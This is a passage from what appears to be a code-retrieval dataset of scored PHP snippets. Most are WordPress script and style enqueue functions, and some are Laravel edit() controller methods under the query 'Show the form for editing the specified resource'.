"text": "public static function assets()\n\t{\n\t\twp_enqueue_script(Plugin::$pluginSlug, plugin_dir_url(TOLSTOYCOMMENTS_FILE).'/assets/admin.js');\n\t}", "title": "" }, { "docid": "6906d6d8dda69fb376d24db5c0cd41d7", "score": "0.53629935", "text": "public function _add_backend_assets() {\n wp_enqueue_style('tu_file_attachment_questions');\n }", "title": "" }, { "docid": "fbfc9e441be2c470c4321a653fedfc53", "score": "0.5360709", "text": "public static function register_assets() {\n\t\t$suffix = defined('SCRIPT_DEBUG') && SCRIPT_DEBUG ? '' : '.min';\n\n\t\t// XDate 0.7. used for date calculations when using the FullCalendar plugin. http://arshaw.com/xdate/\n\t\twp_register_script('xdate', self::$o->core_url.'assets/js/utils/third-party/xdate/xdate.dev.js', array('jquery'), '0.7');\n\t\t// json2 library to add JSON window object in case it does not exist\n\t\twp_register_script('json2', self::$o->core_url.'assets/js/utils/json2.js', array(), 'commit-17');\n\t\t// colorpicker\n\t\twp_register_script('jqcolorpicker', self::$o->core_url.'assets/js/libs/cp/colorpicker.js', array('jquery'), '23.05.2009');\n\t\twp_register_style('jqcolorpicker', self::$o->core_url.'assets/css/libs/cp/colorpicker.css', array(), '23.05.2009');\n\t\t// jQueryUI theme for the admin\n\t\twp_register_style('qsot-jquery-ui', self::$o->core_url.'assets/css/libs/jquery/jquery-ui-1.10.1.custom.min.css', array(), '1.10.1');\n\n\t\t// generic set of tools for our js work. almost all written by Loushou\n\t\twp_register_script( 'qsot-core-tools', self::$o->core_url . 'assets/js/utils/tools.js', array( 'jquery', 'json2', 'xdate', 'jquery-ui-datepicker' ), '0.2.0-beta' );\n\t\t// backbone modal, ripped from core WC, and modified to work for our causes\n\t\twp_register_script( 'qsot-backbone-modal', self::$o->core_url . 'assets/js/utils/backbone-modal.js', array( 'underscore', 'backbone', 'qsot-core-tools' ), '0.1.0-beta', 1 );\n\n\t\t// select2 lib, since WC cannot seem to decide on a select overtake lib\n\t\twp_register_script( 'select2', self::$o->core_url . 'assets/js/libs/select2/select2.full.min.js', array( 'jquery' ), '4.0.x' );\n\t\twp_register_style( 'select2', self::$o->core_url . 'assets/css/select2.css', array(), '4.0.x' );\n\n\t\t// tablesorter plugin\n\t\twp_register_script( 'tablesorter', self::$o->core_url . 'assets/js/libs/jquery-tablesorter/jquery.tablesorter' . $suffix . '.js', array( 'jquery' ), '2.0.3' );\n\n\t\t// admin specific tools\n\t\twp_register_script( 'qsot-admin-tools', self::$o->core_url . 'assets/js/utils/admin-tools.js', array( 'qsot-backbone-modal', 'select2' ), self::$o->version );\n\n\t\t// create the generic qsot-tools bucket\n\t\t$requirements = array( 'qsot-core-tools' );\n\t\tif ( is_admin() ) $requirements[] = 'qsot-admin-tools';\n\t\twp_register_script( 'qsot-tools', false, $requirements, self::$o->version );\n\t}", "title": "" }, { "docid": "305d5e2a5b2bc229dc1daa6918a9288d", "score": "0.5360534", "text": "function vsp_register_assets() {\n\n $js = array(\n 'blockui' => vsp_debug_file(\"vendors/blockui/jquery.blockui.js\", 'assets'),\n 'simscroll' => vsp_debug_file('vendors/simscroll/simscroll.js', 'assets'),\n 'vspajax' => vsp_debug_file(\"vendors/vspajax/jquery.vsp-ajax.js\", 'assets'),\n 'fancybox' => vsp_debug_file(\"vendors/fancybox/jquery.fancybox.js\", 'assets'),\n 'addons' => vsp_debug_file('vsp-addons.js', 'js'),\n 'plugins' => vsp_debug_file('vsp-plugins.js', 'js'),\n 'framework' => vsp_debug_file('vsp-framework.js', 'js'),\n 'vuejs' => vsp_js('vue.min.js'),\n 'lodash' => vsp_js('lodash.min.js'),\n 'sweatalert' => vsp_js('sweatAlert.min.js'),\n );\n\n\n $css = array(\n 'framework' => vsp_debug_file(\"vsp-framework.css\", 'css'),\n 'plugins' => vsp_debug_file(\"vsp-plugins.css\", 'css'),\n 'fancybox' => vsp_debug_file(\"vendors/fancybox/jquery.fancybox.css\", 'assets'),\n 'addons' => vsp_debug_file(\"vsp-addons.css\", 'css'),\n );\n\n vsp_register_script('vsp-simscroll', $js['simscroll'], array( 'jquery' ), '1.3.8', TRUE);\n vsp_register_script('vsp-blockui', $js['blockui'], array( 'jquery' ), '1.0.16', TRUE);\n vsp_register_script('vsp-ajax', $js['vspajax'], array( 'jquery' ), '1.0', TRUE);\n vsp_register_script('vsp-plugins', $js['plugins'], array( 'jquery' ), '1.0', TRUE);\n vsp_register_script('vuejs', $js['vuejs'], array(), '1.3.8', TRUE);\n vsp_register_script('lodash', $js['lodash'], array(), '1.3.8', TRUE);\n vsp_register_script('sweatalert', $js['sweatalert'], array(), '2.1.0', TRUE);\n vsp_register_script('vsp-addons', $js['addons'], array( 'vuejs', 'lodash', 'sweatalert' ), '1.0', FALSE);\n vsp_register_script('vsp-framework', $js['framework'], array( 'jquery' ), '1.0', TRUE);\n vsp_register_style('vsp-plugins', $css['plugins']);\n vsp_register_style('vsp-framework', $css['framework'], array(), '1.0');\n vsp_register_style('vsp-addons', $css['addons'], array(), '1.0');\n vsp_register_style('vsp-fancybox', $css['fancybox'], array(), '1.0');\n vsp_register_script('vsp-fancybox', $js['fancybox'], array( 'jquery' ), '1.0.16', TRUE);\n }", "title": "" }, { "docid": "0430c9a1d9c20bcf5c6c32080f4bb228", "score": "0.53594655", "text": "public function admin_enqueue() {\n\t\t$token = Pootle_PB_Portfolios::$token;\n\t\t$url = Pootle_PB_Portfolios::$url;\n\n\t\twp_enqueue_script( $token . '-admin-js', $url . '/assets/admin.js', array( 'jquery' ) );\n\t\twp_enqueue_style( $token . '-admin-css', $url . '/assets/admin.css' );\n\t}", "title": "" }, { "docid": "c401a0f53ace8c90601ca5a5e1d87c14", "score": "0.5358999", "text": "function quotes_files() {\n wp_enqueue_style('quotes_styles', get_stylesheet_uri('/build/css/style.min.css'), NULL, microtime());\n wp_enqueue_style('fonts', \"https://fonts.googleapis.com/css?family=Lato&display=swap\");\n\n wp_enqueue_script(\"qod_api\",get_template_directory_uri().\"/js/api.js\",array(\"jquery\"),microtime(),true);\n\n wp_localize_script('qod_api','qod_data',array(\n \"root_url\"=>get_site_url(),\n \"nonce\"=>wp_create_nonce(\"wp_rest\")\n ));\n}", "title": "" }, { "docid": "abb5fd539252c7556f336557e81c5752", "score": "0.5348212", "text": "function ls_require_builder_assets() {\n\twp_enqueue_script('jquery-ui-sortable');\n\twp_enqueue_script('jquery-ui-selectable');\n\twp_enqueue_script('jquery-ui-draggable');\n\twp_enqueue_script('jquery-ui-resizable');\n\twp_enqueue_script('jquery-ui-slider');\n\n\tls_require_slider_assets();\n\n\twp_register_script('ls-project-editor', LS_ROOT_URL.'/static/admin/js/ls-project-editor-min.js', ['jquery', 'json2'], LS_PLUGIN_VERSION, true );\n\n\twp_register_script('ls-project-editor-new', LS_ROOT_URL.'/static/admin/js/ls-project-editor-new-min.js', ['jquery', 'json2'], LS_PLUGIN_VERSION, true );\n\twp_register_script('ls-ui-overrides', LS_ROOT_URL.'/static/admin/js/jquery-ui-overrides.js', ['jquery', 'json2'], LS_PLUGIN_VERSION, true );\n\twp_register_script('ls-project-editor-search', LS_ROOT_URL.'/static/admin/js/ls-project-editor-search.js', ['jquery'], LS_PLUGIN_VERSION, true );\n\twp_register_script('ls-project-editor-buttons', LS_ROOT_URL.'/static/admin/js/ls-button-presets-min.js', ['jquery'], LS_PLUGIN_VERSION, true );\n\n\twp_register_style('ls-project-editor', LS_ROOT_URL.'/static/admin/css/editor.css', false, LS_PLUGIN_VERSION );\n\n\n\n\twp_enqueue_script('ls-project-editor');\n\twp_enqueue_script('ls-project-editor-new');\n\twp_enqueue_script('ls-ui-overrides');\n\twp_enqueue_script('ls-project-editor-search');\n\twp_enqueue_script('ls-project-editor-buttons');\n\twp_enqueue_style('ls-project-editor');\n\n\t// 3rd party: GSAP Morph SVG Plugin\n\twp_enqueue_script('ls-gsap-morph-svg', LS_ROOT_URL.'/static/admin/js/MorphSVGPlugin.min.js', ['jquery'], LS_PLUGIN_VERSION, true );\n\n\n\t// 3rd-party: MiniColor\n\twp_enqueue_script('minicolor', LS_ROOT_URL.'/static/minicolors/jquery.minicolors.min.js', ['jquery'], LS_PLUGIN_VERSION );\n\twp_enqueue_style('minicolor', LS_ROOT_URL.'/static/minicolors/jquery.minicolors.css', false, LS_PLUGIN_VERSION );\n\n\t// 3rd-party: angle-input\n\twp_enqueue_script('angle-input', LS_ROOT_URL.'/static/angle-input/angle-input.jquery.js', ['jquery'], '0.0.1', true );\n\n\n\t// 3rd-party: Air Datepicker\n\twp_enqueue_style('air-datepicker', LS_ROOT_URL.'/static/air-datepicker/datepicker.min.css', false, '2.1.0' );\n\twp_enqueue_script('air-datepicker', LS_ROOT_URL.'/static/air-datepicker/datepicker.min.js', ['jquery'], '2.1.0' );\n\twp_enqueue_script('air-datepicker-en', LS_ROOT_URL.'/static/air-datepicker/i18n/datepicker.en.js', ['jquery'], '2.1.0' );\n\n\t// 3rd party: html2canvas\n\twp_enqueue_script('html2canvas', LS_ROOT_URL.'/static/html2canvas/html2canvas.min.js', ['jquery'], '1.0.0rc7' );\n\n\t// 3rd party: iGuider\n\twp_enqueue_style('iguider', LS_ROOT_URL.'/static/iguider/iGuider.css', false, '4.5' );\n\twp_enqueue_script('iguider', LS_ROOT_URL.'/static/iguider/jquery.iGuider.js', ['jquery'], '4.5' );\n\twp_enqueue_script('iguider-theme', LS_ROOT_URL.'/static/iguider/iGuider-theme-neon.js', ['jquery'], '4.5' );\n\n\t// User CSS\n\t$uploads = wp_upload_dir();\n\t$uploads['baseurl'] = set_url_scheme( $uploads['baseurl'] );\n\n\tif(file_exists($uploads['basedir'].'/layerslider.custom.transitions.js')) {\n\t\twp_enqueue_script('ls-user-transitions', $uploads['baseurl'].'/layerslider.custom.transitions.js', false, LS_PLUGIN_VERSION );\n\t}\n\n\t// User transitions\n\tif(file_exists($uploads['basedir'].'/layerslider.custom.css')) {\n\t\twp_enqueue_style('ls-user', $uploads['baseurl'].'/layerslider.custom.css', false, LS_PLUGIN_VERSION );\n\t}\n}", "title": "" }, { "docid": "a7ccc12cb18dd1cfbef8a01380a72c06", "score": "0.5345001", "text": "protected function getEnqueuingScripts() { \n return array();\n }", "title": "" }, { "docid": "66a24f90632079cec38f30c75242d89f", "score": "0.5343707", "text": "function minimog_child_demo_enqueue_scripts() {\n\twp_enqueue_style( 'minimog-child-demo-style', get_stylesheet_directory_uri() . '/style.css' );\n\n\t// Enqueue BS Script for Dev.\n\t$domain = wp_parse_url( get_stylesheet_directory_uri() );\n\t$host = $domain['host'];\n\n\tif ( ( $host === 'localhost'||strpos($host ,'.local')!==false) && ( ! class_exists( '\\Elementor\\Plugin' ) || ( class_exists( '\\Elementor\\Plugin' ) && ! \\Elementor\\Plugin::$instance->preview->is_preview_mode() ) ) ) {\n\t\t//if ( $host === 'dungnv.local' ) {\n\t\t$url = sprintf( 'http://%s:3000/browser-sync/browser-sync-client.js', $host );\n\t\t$ch = curl_init();\n\t\tcurl_setopt( $ch, CURLOPT_URL, $url );\n\t\tcurl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );\n\t\t$header = curl_exec( $ch );\n\t\tcurl_close( $ch );\n\t\tif ( $header && strpos( $header[0], '400' ) === false ) {\n\t\t\twp_enqueue_script( '__bs_script__', $url, array(), null, true );\n\t\t}\n\t}\n}", "title": "" }, { "docid": "da11e7eea99361b0490e492cb2bf2bbb", "score": "0.5339748", "text": "public function enqueue_scripts() {\n\n\t\t$suffix = SCRIPT_DEBUG ? '' : '.min';\n\t\t$rtl = ! is_rtl() ? '' : '-rtl';\n\n\t\twp_enqueue_style( 'mwp-system-debug-mode', System::ASSETS_URL . \"css/debug-mode{$rtl}{$suffix}.css\", [], System::VERSION );\n\n\t\twp_enqueue_script( 'jquery' );\n\n\t}", "title": "" }, { "docid": "451f0b41dd8f12d25ce092703b186913", "score": "0.5331592", "text": "public function loadMainAdminAssets(){\n\t\twp_enqueue_style('goshop-plugins-main-admin-css');\n\t}", "title": "" }, { "docid": "ca83ff6840362aceadd4a0429f8a997f", "score": "0.53281397", "text": "function starkers_script_enqueuer() {\n\t\twp_register_script( 'site', get_template_directory_uri().'/js/site.js', array( 'jquery' ) );\n\t\twp_enqueue_script( 'site' );\n\n\t\twp_register_style( 'screen', get_stylesheet_directory_uri().'/style.css', '', '', 'screen' );\n wp_enqueue_style( 'screen' );\n\t}", "title": "" }, { "docid": "6a20db90322ed71c9bac2211b18e00d9", "score": "0.5326409", "text": "public function enqueue_scripts_and_styles() {\n\n\t\t$app_css_path = $this->assets('app.css');\n\t\t$runtime_js_path = $this->assets('runtime.js');\n\t\t$app_js_path = $this->assets('app.js');\n\n\t\tif ($app_css_path !== false) {\n\t\t\twp_register_style('template-styles', $app_css_path, [], '', 'all');\n\t\t}\n\n\t\tif ($runtime_js_path !== false) {\n\t\t\twp_register_script('template-runtime', $runtime_js_path, [], '', true);\n\t\t}\n\n\t\tif ($app_js_path !== false) {\n\t\t\twp_register_script('template-scripts', $app_js_path, [], '', true);\n\t\t}\n\n\t\t// Enqueue scripts and styles\n\t\twp_enqueue_style('template-styles');\n\t\twp_enqueue_script('template-runtime');\n\t\twp_enqueue_script('template-scripts');\n\t}", "title": "" }, { "docid": "2b2af4fd4deea761bb0a312ceab5f410", "score": "0.5326166", "text": "function dimension_theme_assets() {\n\n\t\t$var = '1.0';\n\n\t\t/* FONTS */\n\t\twp_enqueue_style( 'dimension-font-awesome', get_theme_file_uri('/assets/css/font-awesome.min.css'), null, '4.7.0' );\n\t\twp_enqueue_style( 'dimension-Source-Sans-Pro', '//fonts.googleapis.com/css?family=Source+Sans+Pro:300italic,600italic,300,600', null, null );\n\t\t\n\t\t/* CSS */\n\t\twp_enqueue_style( 'dimension-main-css', get_theme_file_uri('/assets/css/main.css'), array(), $var );\n\t\twp_enqueue_style( 'dimension-theme-css', get_stylesheet_uri(), array(), $var );\n\n\t\t/* JavaScripts */\n\t\twp_enqueue_script( 'jquery' );\n\t\twp_enqueue_script( 'dimension-browser-min-js', get_theme_file_uri('/assets/js/browser.min.js'), array(), $var, true );\n\t\twp_enqueue_script( 'dimension-breakpoints-min-js', get_theme_file_uri('/assets/js/breakpoints.min.js'), array(), $var, true );\n\t\twp_enqueue_script( 'dimension-util-js', get_theme_file_uri('/assets/js/util.js'), array(), $var, true );\n\t\twp_enqueue_script( 'dimension-main-js', get_theme_file_uri('/assets/js/main.js'), array(), $var, true );\n\n\t}", "title": "" }, { "docid": "5b9392253a9b7bf743f2fb8b258377cc", "score": "0.5323568", "text": "function bk_register_required_plugins() {\n\n /**\n * Array of plugin arrays. Required keys are name and slug.\n * If the source is NOT from the .org repo, then source is also required.\n */\n $plugins = array(\n\n // This is an example of how to include a plugin from the WordPress Plugin Repository\n array(\n 'name' => 'W3 Total Cache',\n 'slug' => 'w3-total-cache',\n 'required' => false,\n ),\n array(\n 'name' => 'Options Framework',\n 'slug' => 'options-framework',\n 'required' => true,\n ),\n array(\n \t'name'\t\t=> 'Theme Updater',\n \t'slug'\t\t=> 'theme-updater',\n \t'required'\t=> true,\n )\n );\n\n /**\n * Array of configuration settings. Amend each line as needed.\n * If you want the default strings to be available under your own theme domain,\n * leave the strings uncommented.\n * Some of the strings are added into a sprintf, so see the comments at the\n * end of each line for what each argument will be.\n */\n $config = array(\n 'domain' => 'bk-media', // Text domain - likely want to be the same as your theme.\n 'default_path' => '', // Default absolute path to pre-packaged plugins\n 'parent_menu_slug' => 'themes.php', // Default parent menu slug\n 'parent_url_slug' => 'themes.php', // Default parent URL slug\n 'menu' => 'install-required-plugins', // Menu slug\n 'has_notices' => true, // Show admin notices or not\n 'is_automatic' => false, // Automatically activate plugins after installation or not\n 'message' => '', // Message to output right before the plugins table\n 'strings' => array(\n 'page_title' => __( 'Install Required Plugins', 'bk-media' ),\n 'menu_title' => __( 'Install Plugins', 'bk-media' ),\n 'installing' => __( 'Installing Plugin: %s', 'bk-media' ), // %1$s = plugin name\n 'oops' => __( 'Something went wrong with the plugin API.', 'bk-media' ),\n 'notice_can_install_required' => _n_noop( 'Easy Portfolio theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.' ), // %1$s = plugin name(s)\n 'notice_can_install_recommended' => _n_noop( 'Easy Portfolio theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.' ), // %1$s = plugin name(s)\n 'notice_cannot_install' => _n_noop( 'Sorry, but you do not have the correct permissions to install the %s plugin. Contact the administrator of this site for help on getting the plugin installed.', 'Sorry, but you do not have the correct permissions to install the %s plugins. Contact the administrator of this site for help on getting the plugins installed.' ), // %1$s = plugin name(s)\n 'notice_can_activate_required' => _n_noop( 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.' ), // %1$s = plugin name(s)\n 'notice_can_activate_recommended' => _n_noop( 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.' ), // %1$s = plugin name(s)\n 'notice_cannot_activate' => _n_noop( 'Sorry, but you do not have the correct permissions to activate the %s plugin. Contact the administrator of this site for help on getting the plugin activated.', 'Sorry, but you do not have the correct permissions to activate the %s plugins. Contact the administrator of this site for help on getting the plugins activated.' ), // %1$s = plugin name(s)\n 'notice_ask_to_update' => _n_noop( 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.' ), // %1$s = plugin name(s)\n 'notice_cannot_update' => _n_noop( 'Sorry, but you do not have the correct permissions to update the %s plugin. Contact the administrator of this site for help on getting the plugin updated.', 'Sorry, but you do not have the correct permissions to update the %s plugins. Contact the administrator of this site for help on getting the plugins updated.' ), // %1$s = plugin name(s)\n 'install_link' => _n_noop( 'Begin installing plugin', 'Begin installing plugins' ),\n 'activate_link' => _n_noop( 'Activate installed plugin', 'Activate installed plugins' ),\n 'return' => __( 'Return to Required Plugins Installer', 'bk-media' ),\n 'plugin_activated' => __( 'Plugin activated successfully.', 'bk-media' ),\n 'complete' => __( 'All plugins installed and activated successfully. %s', 'bk-media' ), // %1$s = dashboard link\n 'nag_type' => 'updated' // Determines admin notice type - can only be 'updated' or 'error'\n )\n );\n\n tgmpa( $plugins, $config );\n\n}", "title": "" }, { "docid": "6c7c7201bcb8f1d14265b9a6fb9405e8", "score": "0.53160876", "text": "public function register_assets() {\n $scripts = $this->get_scripts();\n $styles = $this->get_styles();\n\n foreach ( $scripts as $handle => $script ) {\n $deps = isset( $script['deps'] ) ? $script['deps'] : false;\n\n wp_register_script( $handle, $script['src'], $deps, $script['version'], true );\n }\n\n foreach ( $styles as $handle => $style ) {\n $deps = isset( $style['deps'] ) ? $style['deps'] : false;\n\n wp_register_style( $handle, $style['src'], $deps, $style['version'] );\n }\n \n wp_localize_script( 'sortiment-script-login-registation', 'Sortiment', [\n 'ajaxurl' => admin_url( 'admin-ajax.php' ),\n 'error' => __( 'Something went wrong.', 'softx-sortiment' ),\n 'baseurl1' => home_url ( 'sortiment-login' ),\n 'baseurl2' => home_url ( 'sortiment-dashboard' ),\n \n \n ] );\n \n wp_localize_script( 'sortiment-script-company-profile-update', 'Sortiment_Update_Profile', [\n 'ajaxurl' => admin_url( 'admin-ajax.php' ),\n 'error' => __( 'Something went wrong.', 'softx-sortiment' ),\n 'baseurl' => home_url ( 'sortiment-company-information' ),\n \n ] );\n //sortiment-script-ajax-call\n wp_localize_script( 'sortiment-script-ajax-call', 'Sortiment_Ajax', [\n 'ajaxurl' => admin_url( 'admin-ajax.php' ),\n 'error' => __( 'Something went wrong.', 'softx-sortiment' ),\n \n ] );\n\n\n\n\n\n }", "title": "" }, { "docid": "3951a5c3bf7f3e0684ff3e5c24ce7864", "score": "0.530316", "text": "function bbe_child_enqueues() {\n\t//CSS\n\twp_register_style('bbe-child', get_bloginfo('stylesheet_directory') . '/style.css', false, null);\n\twp_enqueue_style('bbe-child');\n\t//JS\n\t\n \twp_register_script('bbe-child-main', get_bloginfo('stylesheet_directory') . '/main.js', false, null, true);\n\twp_enqueue_script('bbe-child-main');\n\t\n\t/* Enqueue more styles and scripts in here if you need */\n\n}", "title": "" }, { "docid": "01785bdd7a5fcb63ae170e1b8bee7965", "score": "0.5301341", "text": "public function enqueueScripts()\n {\n\n /**\n * This function is provided for demonstration purposes only.\n *\n * An instance of this class should be passed to the run() function\n * defined in Point_Tracker_Loader as all of the hooks are defined\n * in that particular class.\n *\n * The Point_Tracker_Loader will then create the relationship\n * between the defined hooks and the functions defined in this\n * class.\n */\n wp_enqueue_script(\n \"{$this->plugin_name}-admin-core\",\n plugin_dir_url(__FILE__) . \"js/point-tracker-admin.min.js\",\n [\n 'jquery'\n ],\n $this->version,\n false\n );\n wp_localize_script(\n \"{$this->plugin_name}-admin-core\",\n 'my_object',\n [\n 'date_format' => $this->phpToJsDate(get_option('date_format'))\n ]\n );\n\n wp_enqueue_script('jquery-ui-core');\n wp_enqueue_script('jquery-ui-datepicker');\n wp_enqueue_script('jquery-ui-tooltip');\n wp_enqueue_script('jquery-ui-dialog');\n wp_enqueue_script('jquery-ui-autocomplete');\n\n wp_enqueue_script(\n 'spinner',\n plugin_dir_url(__DIR__) . 'includes/spin/spin.min.js',\n [],\n $this->version,\n false\n );\n\n wp_enqueue_script(\n 'datatables',\n plugin_dir_url(__DIR__) . \"includes/datatables/DataTables-1.10.9/js/jquery.dataTables.min.js\"\n );\n wp_enqueue_script(\n 'dt-jszip',\n plugin_dir_url(__DIR__) . \"includes/jszip/jszip.min.js\"\n );\n wp_enqueue_script(\n 'dt-pdfmake1',\n plugin_dir_url(__DIR__) . \"includes/datatables/pdfmake-0.1.18/build/pdfmake.min.js\"\n );\n wp_enqueue_script(\n 'dt-pdfmake2',\n plugin_dir_url(__DIR__) . \"includes/datatables/pdfmake-0.1.18/build/vfs_fonts.js\"\n );\n wp_enqueue_script(\n 'dt-buttons',\n plugin_dir_url(__DIR__) . \"includes/datatables/Buttons-1.0.3/js/dataTables.buttons.min.js\"\n );\n wp_enqueue_script(\n 'dt-buttons-html5',\n plugin_dir_url(__DIR__) . \"includes/datatables/Buttons-1.0.3/js/buttons.html5.min.js\"\n );\n wp_enqueue_script(\n 'dt-buttons-print',\n plugin_dir_url(__DIR__) . \"includes/datatables/Buttons-1.0.3/js/buttons.print.min.js\"\n );\n wp_enqueue_script(\n 'dt-responsive',\n plugin_dir_url(__DIR__) . \"includes/datatables/Responsive-1.0.7/js/dataTables.responsive.min.js\"\n );\n wp_enqueue_script(\n 'dt-scroller',\n plugin_dir_url(__DIR__) . \"includes/datatables/Scroller-1.3.0/js/dataTables.scroller.min.js\"\n );\n wp_enqueue_script(\n 'dt-select',\n plugin_dir_url(__DIR__) . \"includes/datatables/Select-1.0.1/js/dataTables.select.min.js\"\n );\n }", "title": "" } ]
313ff7705d4e87750b2cd162f3a73639
Show the form for editing the specified resource.
[ { "docid": "53efbc322f0f43914c862da7427c1bcd", "score": "0.0", "text": "public function edit(CustomerFieldPart $customerFieldPart)\n {\n //\n }", "title": "" } ]
[ { "docid": "c77fbba2f7b7f5018f4471f75871b57a", "score": "0.7797669", "text": "public function edit(Resource $resource)\n {\n return view(\n 'resources.edit', \n [\n 'resource' => $resource\n ]\n );\n }", "title": "" }, { "docid": "db43c1b18be99950bb3f9c2cbd415bc6", "score": "0.7793358", "text": "public function edit(AdminResource $resource)\n {\n $form = $resource->getForm();\n\n return view('admin::resource.form', compact('form'));\n }", "title": "" }, { "docid": "ac53c5763e3a0b0ec0125039ef9bb509", "score": "0.7631773", "text": "public function edit()\n {\n $this->form();\n }", "title": "" }, { "docid": "4542545c78c16f483a8652d72eafdb22", "score": "0.7300747", "text": "public function edit(Request $request, Resource $resource)\n {\n return view('admin.library.edit', ['resource' => $resource]);\n }", "title": "" }, { "docid": "cdb0c72e88e0cd40f702a7e0769d3dbc", "score": "0.7023003", "text": "public function editAction()\n {\n $model_sites = new Dlayer_Model_Admin_Site();\n $model_forms = new Dlayer_Model_Admin_Form();\n\n $form_id = $this->session->formId();\n\n $this->form = new Dlayer_Form_Admin_Form(\n '/form/admin/edit',\n $this->site_id,\n $form_id,\n $model_forms->form($this->site_id, $form_id)\n );\n\n if ($this->getRequest()->isPost()) {\n $this->processEditForm($form_id);\n }\n\n $this->view->form = $this->form;\n $this->view->site = $model_sites->site($this->site_id);\n\n $this->controlBar($this->identity_id, $this->site_id);\n\n $this->_helper->setLayoutProperties($this->nav_bar_items, '/form/index/index', array('css/dlayer.css'),\n array(), 'Dlayer.com - Form Builder: Edit form');\n }", "title": "" }, { "docid": "c86b96c430fde96edc13f0bccf177065", "score": "0.698582", "text": "public function edit($id)\n\t{\n\t\t$model = SysFormManager::find($id);\n\t\t$form = \\FormBuilder::create('Javan\\Dynaflow\\FormBuilder\\SysFormManagerForm', [\n \t'method' => 'POST',\n \t'url' => 'formmanager/update/'.$id,\n \t'model' => $model,\n \t'data' => [ 'application_id' => $model->application_id, 'step_id' => $model->step_id]\n \t]);\n\n\t\treturn View::make('dynaflow::formmanager.form', compact('form'));\n\t}", "title": "" }, { "docid": "e1f6c8bbf70801460cd094cb6a4634b9", "score": "0.6975506", "text": "public function edit()\n {\n return view('hr::edit');\n }", "title": "" }, { "docid": "e1f6c8bbf70801460cd094cb6a4634b9", "score": "0.6975506", "text": "public function edit()\n {\n return view('hr::edit');\n }", "title": "" }, { "docid": "6b19c8e6c551a197ec3ab4f37c14849e", "score": "0.6921672", "text": "public function Edit()\n {\n $this->routeAuth();\n\n $this->standardAction('Edit');\n }", "title": "" }, { "docid": "9573646f833f8b11dd153b969f5d7e4f", "score": "0.6915018", "text": "public function edit($id)\n {\n $record = $this->getResourceModel()::findOrFail($id);\n\n $this->authorize('update', $record);\n\n return view($this->getResourceEditPath(), $this->filterEditViewData($record, [\n 'record' => $record,\n ] + $this->resourceData()));\n }", "title": "" }, { "docid": "901ccd53ce97c5a7d1966359f57043a4", "score": "0.69117606", "text": "public function edit()\n {\n return view('inpatient::edit');\n }", "title": "" }, { "docid": "901ccd53ce97c5a7d1966359f57043a4", "score": "0.69117606", "text": "public function edit()\n {\n return view('inpatient::edit');\n }", "title": "" }, { "docid": "901ccd53ce97c5a7d1966359f57043a4", "score": "0.69117606", "text": "public function edit()\n {\n return view('inpatient::edit');\n }", "title": "" }, { "docid": "db1e0913d8253a53ad2045f953f50ec9", "score": "0.6907713", "text": "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('keltanasTrackingBundle:Form')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Form entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('keltanasTrackingBundle:Form:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" }, { "docid": "51b60bf88d430359fa7d26fcaa184bf2", "score": "0.69027346", "text": "public function edit($id)\n {\n $record = $this->model->findOrFail($id);\n\n $this->viewData['record'] = $record;\n\n $this->viewData['formMethod'] = 'PUT';\n $this->viewData['formAction'] = 'role.update';\n\n return view($this->defaultFormView, $this->viewData);\n }", "title": "" }, { "docid": "442f0c0607d600b71f651788512fa4e2", "score": "0.68972987", "text": "public function edit()\n {\n return view('backend::edit');\n }", "title": "" }, { "docid": "7f842cbf2ce0ed69cfa4cf6d9407235b", "score": "0.6890337", "text": "public function editAction()\n {\n $em = $this->getDoctrine()->getManager();\n $entity = $em->getRepository('CaiWebBundle:Contacto')->find(1);\n $editForm = $this->createEditForm($entity);\n return $this->render('CaiWebBundle:Contacto:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView()\n ));\n }", "title": "" }, { "docid": "f8bf1d45abb1e3528851c8a71f1abff7", "score": "0.68685776", "text": "public function showEditEntry()\n {\n $id = $this->request->get('id');\n\n $entry = $this->entries->byId($id);\n\n if (!$entry || $entry['user_id'] != $this->users->getCurrentUser()['id']) {\n // Got no valid ID, let's show the new entry form instead\n return null;\n }\n\n return $this->views->render('partials/entry-form', [\n 'action' => '/entry/update',\n 'title' => 'Edit your entry',\n 'id' => $id,\n 'body' => $entry['entry'],\n ]);\n }", "title": "" }, { "docid": "b5ba0995ddaba8cdf21be8b65b884d91", "score": "0.68566346", "text": "public function edit()\n {\n return view('hm::edit');\n }", "title": "" }, { "docid": "b5ba0995ddaba8cdf21be8b65b884d91", "score": "0.68566346", "text": "public function edit()\n {\n return view('hm::edit');\n }", "title": "" }, { "docid": "3736499054b89a9776863393fe21594e", "score": "0.68470234", "text": "public function editAction()\n {\n $id = (int) $this->param('id');\n $project = $this->service->retrieveProjectById($id);\n if (!$project) {\n $this->flash('error')->addMessage('project.not.found');\n $this->redirectToRoute('list', ['page' => 1]);\n } else {\n $action = $this->view->url(['action' => 'update']);\n $projectForm = $this->service->getFormForEditing($action);\n $projectForm->populate($project->toArray());\n $this->view->project = $project;\n $this->view->projectForm = $projectForm;\n }\n }", "title": "" }, { "docid": "ef3688e29d18642367c0f31d2daf4e03", "score": "0.68410045", "text": "public function edit()\n {\n return view('commonbackend::edit');\n }", "title": "" }, { "docid": "a643a9d707708f188d2b193d7694df02", "score": "0.6840435", "text": "public function edit()\n {\n return view('orgmanagement::edit');\n }", "title": "" }, { "docid": "13c4203d32c70794e7fa65360126b2a8", "score": "0.6835437", "text": "public function editForm()\n {\n $this->pageTitle = \"Edition d'une question\";\n\n //initialisation des selects list\n $this->initSelectList();\n\n //recupération de la liste des diapos\n // $DiapModel = new \\Models\\Diap();\n $this->tplVars = $this->tplVars + [\n 'list' => $this->model->findQuestionById(intval($_GET['id']))\n ];\n\n parent::editForm();\n 